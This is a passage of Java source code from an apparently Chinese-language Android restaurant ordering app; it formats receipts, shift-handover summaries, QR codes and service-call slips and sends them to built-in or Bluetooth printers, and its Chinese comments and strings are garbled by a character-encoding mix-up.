{
count = NumberFormat.dTs(orderDetail.getDetailCount()) + orderDetail.getUnitName();
int totalLen = StringUtil.getLengthForInputStr(price + count);
if (totalLen > 11 || StringUtil.getLengthForInputStr(foodName) > 19)
{
printUtils.printText(foodName + "\n");
String rightText = PrintUtils.get().printTwoData(13, count, price);
printUtils.printText(PrintUtils.get().printTwoData(32, "", rightText) + "\n");
}
else
{
String rightText = PrintUtils.get().printTwoData(13, count, price);
printUtils.printText(PrintUtils.get().printTwoData(32, foodName, rightText) + "\n");
}
}
else // ๆฎ้่ๅ
{
count = NumberFormat.dTs3(orderDetail.getDetailCount());
int totalLen = StringUtil.getLengthForInputStr(foodName + price + count);
if (totalLen > 30 || StringUtil.getLengthForInputStr(foodName) > 19)
{
printUtils.printText(foodName + "\n");
String rightText = PrintUtils.get().printTwoData(13, count, price);
printUtils.printText(rightText + "\n");
}
else
{
String rightText = PrintUtils.get().printTwoData(13, count, price);
printUtils.printText(PrintUtils.get().printTwoData(32, foodName, rightText) + "\n");
}
}
}
else // ๆถ่ดนๅ ---- ่ๅๅ่กจ้็จๅคงๅทๅญไฝ
{
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
if (orderDetail.getUnitType() == 2)//1=ๆฎ้|2=็งฐ้่ฎก้|3=ไปฝ้)
{
count = NumberFormat.dTs(orderDetail.getDetailCount()) + orderDetail.getUnitName();
int totalLen = StringUtil.getLengthForInputStr(price + count);
if (totalLen > 11 || StringUtil.getLengthForInputStr(foodName) > 19)
{
printUtils.printText(foodName + "\n");
String rightText = PrintUtils.get().printTwoData(13, count, price);
printUtils.printText(PrintUtils.get().printTwoData(32, "", rightText) + "\n");
}
else
{
String rightText = PrintUtils.get().printTwoData(13, count, price);
printUtils.printText(PrintUtils.get().printTwoData(32, foodName, rightText) + "\n");
}
}
else // ๆฎ้่ๅ
{
count = NumberFormat.dTs3(orderDetail.getDetailCount());
int totalLen = StringUtil.getLengthForInputStr(foodName + price + count);
if (totalLen > 30 || StringUtil.getLengthForInputStr(foodName) > 19)
{
printUtils.printText(foodName + "\n");
String rightText = PrintUtils.get().printTwoData(13, count, price);
printUtils.printText(rightText + "\n");
}
else
{
String rightText = PrintUtils.get().printTwoData(13, count, price);
printUtils.printText(PrintUtils.get().printTwoData(32, foodName, rightText) + "\n");
}
}
}
// ๆทปๅ ๅคๆณจ
String foodCategory = "";
printUtils.selectCommand(PrintUtils.NORMAL);
if (isPackageFood)
{
if (orderDetail.getUnitName().equals("null"))
{
foodCategory = "";
}
else
{
foodCategory = TextUtils.isEmpty(orderDetail.getUnitName()) ? "" : orderDetail.getUnitName() + " "; //็จไบๅๅฅ้ค่ๅ็็ฑปๅ ๆฎ้ไธบ็ฉบ ไปฝ้่ไธบๅฏนๅบ็ไปฝ้
}
if (!TextUtils.isEmpty(orderDetail.getDetailRemark()))
{
foodCategory += orderDetail.getDetailRemark();
}
}
else
{
if (orderDetail.getAddState() == 2)
{
foodCategory = getStr(R.string.cancel_food);
}
else
{
// ๆทปๅ ๅ้
if (!TextUtils.isEmpty(orderDetail.getFoodSpecName()))
{
foodCategory += orderDetail.getFoodSpecName();
}
// ๆทปๅ ้
่
if (!TextUtils.isEmpty(orderDetail.getFoodGarnishName()))
{
if (!TextUtils.isEmpty(foodCategory))
{
foodCategory += ";";
}
foodCategory += orderDetail.getFoodGarnishName();
}
// ๆทปๅ ๅคๆณจ๏ผๅๆณ๏ผ
if (!TextUtils.isEmpty(orderDetail.getFoodCategory()))
{
if (!TextUtils.isEmpty(foodCategory))
{
foodCategory += ";";
}
foodCategory += orderDetail.getFoodCategory();
}
// ๆทปๅ ๅคๆณจ๏ผ่ๅๅคๆณจ๏ผ
if (!TextUtils.isEmpty(orderDetail.getDetailRemark()))
{
if (!TextUtils.isEmpty(foodCategory))
{
foodCategory += ";";
}
foodCategory += orderDetail.getDetailRemark();
}
// ๆทปๅ ๅคๅๆ่
ๅคๅธฆ
if (orderDetail.getFoodWay() == 2)
{
foodCategory += getStr(R.string.take_out);
}
else if (orderDetail.getFoodWay() == 3)
{
foodCategory += getStr(R.string.take_out_2);
}
}
}
if (!TextUtils.isEmpty(foodCategory.trim()))
{
// objs.add(createPrintFormat(8, "ใ" + foodCategory + "ใ"));
printUtils.printText("ใ" + foodCategory + "ใ" + "\n");
}
}
//ๆๅฐๅ ่ๆฐๆฎๆ็ป -- ่็ๆๅฐ
private void printAddFoodsForBlue(List<OrderDetail> orderDetails, PrintUtils printUtils, int mainStatus)
{
boolean isPrint = false;
for (OrderDetail orderDetail : orderDetails)
{
if (orderDetail.getAddState() != 1)
{
continue;
}
// ๅฆๆๆฏๅ ่
if (!isPrint)
{
printUtils.printText("--------------ๅ ่-------------\n");
isPrint = true;
}
printXiaoFeiOrJieZhangDan(printUtils, orderDetail, mainStatus);
}
}
/**
* ๆฑๆปๆๅฐ
*
* @param activity
* @param startTime ๅผๅงๆถ้ด
* @param endTime ็ปๆๆถ้ด
* @param orderSummaryData ๆฑๆปๆฐๆฎ
* @param selectedWay ๆฑๆปๅ
ๅซ็ๆถ้ถๆนๅผ (1=่ช็ฑๆถ้ถ|2=ๅฎ้ขๆถ้ถ|3=่ฎขๅๆถ้ถ)๏ผ้ๅท้ๅผ๏ผๅคๆญ้้ขๆฏๅฆๅ
ๅซ1,2,3,ๆฅ่ฏๅซๆๅฐๅ
ๅฎน
*/
@Override
public void printCollect(Activity activity, Date startTime, Date endTime, OrderSummaryData orderSummaryData, String selectedWay)
{
showDialog(activity);
JSONArray arr = new JSONArray();
try
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName
("็ป่ฅๅฐ็ฅจ")));
//ๆๅฐๅๅๅ
ๅฎน
String content = "-------------------------------";
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅบ้บๅ็งฐ:" + Share.get().getRestaurantName()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆฑๆปๆฅๆ:" + DateUtils.format(startTime,
"yyyy/MM/dd" + " HH:mm")));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "- " + DateUtils.format(endTime,
"yyyy/MM/dd HH:mm")));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅ
ฑ่ฎก : " + DateUtils.getDay(startTime, endTime)));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));
// ๆฑๆป่ฎขๅ
compositeData(arr, selectedWay, orderSummaryData);//ๆถ้ถๆ็ปๆฐๆฎ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅบ้ฟ็กฎ่ฎค : " + "_________(็ญพๅญๆ็็ซ )"));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆๅฐๆถ้ด : " + DateUtils.format(new Date(),
"yyyy/MM/dd HH:mm")));
for (int i = 0; i < 3; i++)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
}
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "-------ๅๅฒ็บฟ,่ฏทๆฒฟๆญค็บฟๆๅผ------"));
for (int i = 0; i < 3; i++)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", ""));
}
Intent intent = new Intent();
intent.setComponent(new ComponentName(MTPackageName, MTPrintName));
intent.putExtra("lines", arr.toString());
activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO);
}
catch (JSONException e)
{
e.printStackTrace();
}
}
/**
* ไบค็ญๆๅฐ
*
* @param activity
* @param startTime ๅผๅงๆถ้ด
* @param endTime ็ปๆๆถ้ด
* @param orderSummaryData ๆฑๆปๆฐๆฎ
* @param selectedWay ๆฑๆปๅ
ๅซ็ๆถ้ถๆนๅผ (1=่ช็ฑๆถ้ถ|2=ๅฎ้ขๆถ้ถ|3=่ฎขๅๆถ้ถ)๏ผ้ๅท้ๅผ๏ผๅคๆญ้้ขๆฏๅฆๅ
ๅซ1,2,3,ๆฅ่ฏๅซๆๅฐๅ
ๅฎน
*/
@Override
public void printShiftData(Activity activity, Date startTime, Date endTime, OrderSummaryData orderSummaryData, String selectedWay)
{
showDialog(activity);
JSONArray arr = new JSONArray();
try
{
//ๆๅฐ้ค้ฆๅ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName(Share
.get().getRestaurantName())));
arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printRestaurantName("ไบค็ญๅ")));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ไบค็ญๆถ้ด"));
//ๆๅฐๅๅๅ
ๅฎน
String content = "-------------------------------";
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ตท: " + DateUtils.format(startTime,
"yyyy/MM/dd HH:mm")));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆญข: " + DateUtils.format(endTime,
"yyyy/MM/dd HH:mm")));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));
// ๆฑๆป่ฎขๅ
compositeData(arr, selectedWay, orderSummaryData);//ๆถ้ถๆ็ปๆฐๆฎ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆๅฐๆถ้ด : " + DateUtils.format(new Date(),
"yyyy/MM/dd HH:mm")));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅบ้ฟ : " + orderSummaryData.getUserName()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆถ้ถๅ็กฎ่ฎค : " + "_____________"));
for (int i = 0; i < 8; i++)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", ""));
}
Intent intent = new Intent();
intent.setComponent(new ComponentName(MTPackageName, MTPrintName));
intent.putExtra("lines", arr.toString());
activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO);
}
catch (JSONException e)
{
e.printStackTrace();
}
}
/**
* ่ช็ฑๆถ้ถๆๅฐ
*
* @param activity
* @param orderCollectBean ่ช็ฑๆถ้ถ่ฎขๅๆ็ป
* @param isShowDialog
*/
@Override
public void printChargeFreeOrder(Activity activity, OrderCollectData.OrderCollectBean orderCollectBean, boolean isShowDialog)
{
if (isShowDialog)
{
showDialog(activity);
}
// createChargeFreeOrder(activity, orderCollectBean);
printChargeFreeOrderForBlue(orderCollectBean);
}
private void printChargeFreeOrderForBlue(OrderCollectData.OrderCollectBean orderCollectBean)
{
Observable.just("").subscribeOn(Schedulers.newThread()).flatMap(new Func1<String, Observable<Boolean>>()
{
@Override
public Observable<Boolean> call(String s)
{
return Observable.just(BLE.get().init().connectDeviceByAddr());
}
}).unsubscribeOn(Schedulers.newThread()).observeOn(AndroidSchedulers.mainThread()).subscribe(ss ->
{
if (ss)
{
try
{
OutputStream stream = BLE.get().mtBtSocket.getOutputStream();
// PrintUtils printUtils = new PrintUtils();
PrintUtils printUtils = PrintUtils.get();
printUtils.setOutputStream(stream);
printChargeFreeOrderForBlue(orderCollectBean, printUtils);
printChargeFreeOrderForBlue(orderCollectBean, printUtils);
}
catch (Exception e)
{
e.printStackTrace();
}
}
});
}
private void printChargeFreeOrderForBlue(OrderCollectData.OrderCollectBean orderCollectBean, PrintUtils printUtils)
{
//ๆๅฐ้ค้ฆๅ
String restaurantName = (TextUtils.isEmpty(orderCollectBean.getRestaurantName()) ? "ๆ้ฑผ็น้ค" : orderCollectBean.getRestaurantName());
printUtils.selectCommand(PrintUtils.ALIGN_CENTER);
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
printUtils.printText(getStringOutLine(restaurantName, 28) + "\n");
printUtils.selectCommand(PrintUtils.NORMAL);
// printUtils.printText("\n่ช็ฑๆถ้ถๅ\n\n");
printUtils.printText(printUtils.printTwoData("\n" + "่ช็ฑๆถ้ถๅ", "ๆถ้ถๅ " + ": " + (TextUtils.isEmpty(orderCollectBean.getCashierName()) ? Share.get()
.getUserName() : orderCollectBean.getCashierName()) + "\n"));
printUtils.selectCommand(PrintUtils.ALIGN_LEFT);
//ๅๅฒ็บฟ
String content = "--------------------------------\n";
printUtils.printText(content);
printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT);
String orderNo = orderCollectBean.getOrderNo();//่ฎขๅๅท
printUtils.printText("่ฎขๅๅฐพๅท" + ": " + (orderNo.substring(orderNo.length() - 4, orderNo.length())) + "\n");
printUtils.printText("่ฎขๅ้้ข" + ": ๏ฟฅ" + dTs(orderCollectBean.getOriginalMoney()) + "\n");
printUtils.printText("ไผๆ ้้ข" + ": -๏ฟฅ" + dTs(orderCollectBean.getDiscountMoney()) + "\n");
printUtils.printText("ๅฎๆถ้้ข" + ": ๏ฟฅ" + dTs(orderCollectBean.getPayMoney()) + "\n");
printUtils.selectCommand(PrintUtils.NORMAL);
// printUtils.printText(content);
// printUtils.printText("ไผๆ ๆนๅผ" + " : " + (TextUtils.isEmpty(orderCollectBean.getGiftReturnName()) ? "ๆ " : orderCollectBean.getGiftReturnName()) + "\n");
// printUtils.printText("ๆถๆฌพๆนๅผ" + " : " + orderCollectBean.getPayType() + "\n");
//
// double cashPayMoney = orderCollectBean.getCashPayMoney();
// if (cashPayMoney > 0)
// {
// printUtils.printText("ๅฎๆถ็ฐ้" + " : ๏ฟฅ" + cashPayMoney + "\n");
// printUtils.printText("็ฐ้ๆพ้ถ" + " : ๏ฟฅ" + orderCollectBean.getOddChange() + "\n");
// }
// ๆๅฐไผๆ ไฟกๆฏ
List<PreferentialDetail> detailList = orderCollectBean.getPreferentialList();
if (null != detailList && detailList.size() > 0)
{
printUtils.printText("------------ไผๆ ๆ็ป------------\n\n");//ๅๅฒ็บฟ
for (PreferentialDetail detail : detailList)
{
printUtils.printText(detail.getPreferentialName() + ": -๏ฟฅ" + dTs(detail.getPreferentialMoney()) + "\n");
}
}
// ๆๅฐ็ป็ฎๆ็ป
printUtils.printText("------------็ป็ฎๆ็ป------------\n\n");//ๅๅฒ็บฟ
printUtils.printText("ๆถๆฌพๆนๅผ" + ": " + orderCollectBean.getPayType() + "\n");
List<PayWayBean> payWayDetail = orderCollectBean.getPayWayDetail();
if (null != payWayDetail && payWayDetail.size() > 0)
{
for (PayWayBean detail : payWayDetail)
{
String payWay = detail.getPayWay() + "";
if (payWay.equals("็ฐ้ๆฏไป"))
{
payWay = "็ฐ้ๆถๆฌพ";
}
printUtils.printText(payWay + ": " + dTs(detail.getPayMoney()) + "\n");
if (detail.getOddChange() > 0)
{
printUtils.printText("็ฐ้ๆพ้ถ: " + dTs(detail.getOddChange()) + "\n");
}
}
}
printUtils.printText("ไปๆฌพๆถ้ด" + ": " + DateUtils.format(orderCollectBean.getPayTime(), "yyyy-MM-dd HH:mm:ss") + "\n");
printUtils.printText("ๆถ้ถๅคๆณจ: " + (TextUtils.isEmpty(orderCollectBean.getCollectMoneyRemark()) ? "ๆ " : orderCollectBean.getCollectMoneyRemark()) + "\n");
printUtils.printText(content);
// printUtils.printText("ไปๆฌพไบบ็ญพๅ :" + "\n\n\n");
if (isFrist)
{
printUtils.printText("ไปๆฌพไบบ็ญพๅ: (ๅๆทๅญๆ น)\n\n\n");
}
else
{
printUtils.printText(" (ๅฎขๆทๅญๆ น)\n\n\n");
}
printUtils.printText("-------ๅๅฒ็บฟ,่ฏทๆฒฟๆญค็บฟๆๅผ------\n\n\n\n");
isFrist = !isFrist;
}
/**
* ่ฎพ็ฝฎๅบไบ็ปด็ ๆๅฐ
*
* @param activity
* @param qrCodeBean
* @param isShowDialog
*/
@Override
public void printQRCode(Activity activity, QRCodeBean qrCodeBean, boolean isShowDialog)
{
if (isShowDialog)
{
showDialog(activity);
}
JSONArray arr = new JSONArray();
try
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName
(qrCodeBean.getQrcodeName())));// ้ค้ฆๅ็งฐ
arr.put(new JSONObject().put("type", "qrcode").put("offset", 0).put("height", 395).put("content", qrCodeBean.getQrcodeUrl()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName
(qrCodeBean.getQrcodeMark())));// ้ค้ฆ่ฝๆฌพ
for (int i = 0; i < 4; i++)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
}
Intent intent = new Intent();
intent.setComponent(new ComponentName(MTPackageName, MTPrintName));
intent.putExtra("lines", arr.toString());
activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO);
}
catch (JSONException e)
{
e.printStackTrace();
}
}
/**
* ๅ็ฅจไบ็ปด็ ๆๅฐ
*
* @param activity
* @param qrCodeBean
* @param isShowDialog
*/
@Override
public void printQRCodeForInvoice(Activity activity, QRCodeBean qrCodeBean, boolean isShowDialog)
{
if (isShowDialog)
{
showDialog(activity);
}
JSONArray arr = new JSONArray();
try
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName
(qrCodeBean.getQrcodeName())));// ้ค้ฆๅ็งฐ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printRestaurantName(getStr(R.string
.restaurant_artifact))));// ็จ้คๆๅก็ฅๅจ๏ผ
// mPrintManager.setPrnText(makeStrCenter(getStr(R.string.restaurant_artifact)).toString(), config);
arr.put(new JSONObject().put("type", "qrcode").put("offset", 0).put("height", 395).put("content", qrCodeBean.getQrcodeUrl()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printRestaurantName(qrCodeBean.getQrcodeMark())))
;// ้ค้ฆ่ฝๆฌพ
for (int i = 0; i < 4; i++)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
}
Intent intent = new Intent();
intent.setComponent(new ComponentName(MTPackageName, MTPrintName));
intent.putExtra("lines", arr.toString());
activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO);
}
catch (JSONException e)
{
e.printStackTrace();
}
}
/**
* ๅผๅซๆๅกๆๅฐ
*
* @param activity
* @param serviceTextBean
* @param isShowDialog
*/
@Override
public void printServiceText(Activity activity, ServiceTextBean serviceTextBean, boolean isShowDialog)
{
if (isShowDialog)
{
showDialog(activity);
}
JSONArray arr = new JSONArray();
try
{
String title, msg, printTime;
title = getStr(R.string.server_text);
msg = "\n" + serviceTextBean.getServiceText() + "\n\n";
printTime = getStr(R.string.print_time) + DateUtils.format(new Date(), "yyyy-MM-dd HH:mm:ss");
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName(title)
));// โๅผๅซๆๅกโๆ ้ข
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", msg));// ๆๅกไฟกๆฏ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printTime));// ๆๅฐๆถ้ด
for (int i = 0; i < 4; i++)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
}
//ๅผๅงๆๅฐ
Intent intent = new Intent();
intent.setComponent(new ComponentName(MTPackageName, MTPrintName));
intent.putExtra("lines", arr.toString());
activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO);
}
catch (Exception e)
{
e.printStackTrace();
L.e("printerๅผๅธธ" + e.toString());
}
}
/**
* ่ฎขๅๆๅฐๆจกๆฟ
*
* @param arr ๆๅฐJSONArrayๆผๆฅ็ๆฐๆฎ
* @param orderMain ็นๅๆฐๆฎ
*/
private void printOrderData(JSONArray arr, OrderMain orderMain)
{
List<OrderDetail> orderDetails = new ArrayList<>();
orderDetails.clear();
orderDetails.addAll(orderMain.getOrderDetailModelList());
boolean isChange = false;// ๆฏๅฆๆดๆขๆกๅทๅ่ฎขๅๅฐพๅทๆๅฐ็ไฝ็ฝฎ
if (Share.get().getIsCall() == AppEnumHelp.IS_CALL_1.getValue())
{
isChange = true;
}
try
{
//ๆๅฐ้ค้ฆๅ
String restaurantName = (TextUtils.isEmpty(orderMain.getRestaurantName()) ? "ๆ้ฑผ็น้ค" : orderMain.getRestaurantName());
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName
(restaurantName)));
arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", ""));
if (orderMain.getMainStatus() == 2)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printRestaurantName("็ป่ดฆๅ")));
}
else
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printRestaurantName("ๆถ่ดนๅ")));
}
arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", (isChange ? (" "
+ "่ฎขๅๅฐพๅท:" + orderMain.getTailNo()) : (" ๆกๅท:" + orderMain.getMainDesk()))));
//ๆๅฐๅๅๅ
ๅฎน
String content = "-------------------------------";
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));//ๅๅฒ็บฟ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "็จ้คไบบๆฐ:" + orderMain.getMainGuests() + (isChange ?
(" " + "" + " ๆกๅท:" + orderMain.getMainDesk()) : (" ่ฎขๅๅฐพๅท:" + orderMain.getTailNo()))));
arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ไธๅๅ:" + orderMain.getCreaterName()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ไธๅๆถ้ด:" + DateUtils.formatDateTime(orderMain
.getCreateAt(), "yyyy/MM/dd HH:mm")));
if (orderMain.getMainStatus() == 2)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ไปๆฌพๆถ้ด:" + DateUtils.formatDateTime(orderMain
.getPayTime(), "yyyy/MM/dd HH:mm")));
}
if (!TextUtils.isEmpty(orderMain.getPackageRemark()))
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅฑๆง:" + orderMain.getMainRemark()));
}
arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));//ๅๅฒ็บฟ
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅๅ " + " ๆฐ้ ๆปไปท"));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));//ๅๅฒ็บฟ
printFoods(arr, orderDetails, orderMain.getMainStatus());// ๆๅฐ่ๅๅ่กจ
printAddFoods(arr, orderDetails);// ๆๅฐๅ ่ๅ่กจ
// ๆๅฐ้คไฝ่ดน
List<OrderDetail> details = createFeeForDetails(orderMain);
if (!details.isEmpty())
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));//ๅๅฒ็บฟ
printFoods(arr, details, orderMain.getMainStatus());
}
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));//ๅๅฒ็บฟ
if (!TextUtils.isEmpty(orderMain.getMainRemark()))
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅคๆณจ :" + " " + orderMain.getMainRemark()));
}
double count = getTotalCount(orderDetails);// ๆฐ้ๅ่ฎก
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ๆฐ้ๅ่ฎก : " + orderMain
.getFoodCountTotal()));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "้้ขๅ่ฎก : " + dTs(orderMain
.getOriginalMoney())));
if (orderMain.getSpecialMoney() > 0 && orderMain.getMainStatus() == 2)
{
if (0 != orderMain.getGiftReturnId())
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ไผๆ ๆๆฃ : " +
orderMain.getGiftReturnName()));
}
else
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ไผๆ ๆๆฃ : " + "ไผๅไผๆ "));
}
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ไผๆ ้้ข : " + dTs
(orderMain.getSpecialMoney())));
}
if (0.0 < orderMain.getClearMoney() && orderMain.getMainStatus() == 2)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ๆน้ถ้้ข : " + dTs
(orderMain.getClearMoney())));
}
if (orderMain.getMainStatus() == 2)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ๅฎๆถ้้ข : " + dTs
(orderMain.getPaidUpAmount())));
}
if (!TextUtils.isEmpty(orderMain.getPayType()) && orderMain.getMainStatus() == 2)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ๆฏไปๆนๅผ : " + orderMain
.getPayType()));
}
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆๅฐๆถ้ด : " + DateUtils.format(new Date(),
"yyyy/MM/dd HH:mm")));
String inscribed = Share.get().getPrintInscribed();//่ฝๆฌพ
if (!TextUtils.isEmpty(inscribed))
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName
(inscribed)));
}
for (int i = 0; i < 3; i++)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", ""));
}
arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "-------ๅๅฒ็บฟ,่ฏทๆฒฟๆญค็บฟๆๅผ------"));
for (int i = 0; i < 5; i++)
{
arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", ""));
}
}
catch (JSONException e)
{
e.printStackTrace();
L.e("่ฎขๅๆฐๆฎๅบ้");
}
}
/**
* ๆๅฐ้ค้ฆๅ ๅฑ
ไธญ
*
* @param restaurantName
*/
private String printRestaurantName(String restaurantName)
{
//้่ฆๆๅจ่ฎก็ฎๅฑ
ไธญ่ฎพ็ฝฎ็้ฟๅบฆ
String nameStr = "", tempStr;
if (!TextUtils.isEmpty(restaurantName))
{
int titleSpace = restaurantName.length() % 16;//ๅฐ้ค้ฆๅๅฏน16ๅไฝ
if (titleSpace == 0) //้ค้ฆๅไธบ16ๅญ็ฌฆ็ๅๆฐ
{
nameStr = restaurantName + "\n";
}
else
{
if (restaurantName.length() < 16) //้ค้ฆๅๅฐไบ16ๅญ็ฌฆ
{
for (int i = 0; i < 16 - restaurantName.length(); i++)
{
nameStr += " ";
}
nameStr += restaurantName + "\n";
}
else //้ค้ฆๅๅคงไบ16ๅญ็ฌฆ๏ผไธไธไธบๅๆฐ
{
nameStr = restaurantName.substring(0, restaurantName.length() - titleSpace - 2);
tempStr = restaurantName.substring(restaurantName.length() - titleSpace - 2);
for (int i = 0; i < 14 - titleSpace; i++)
{
nameStr += " ";
}
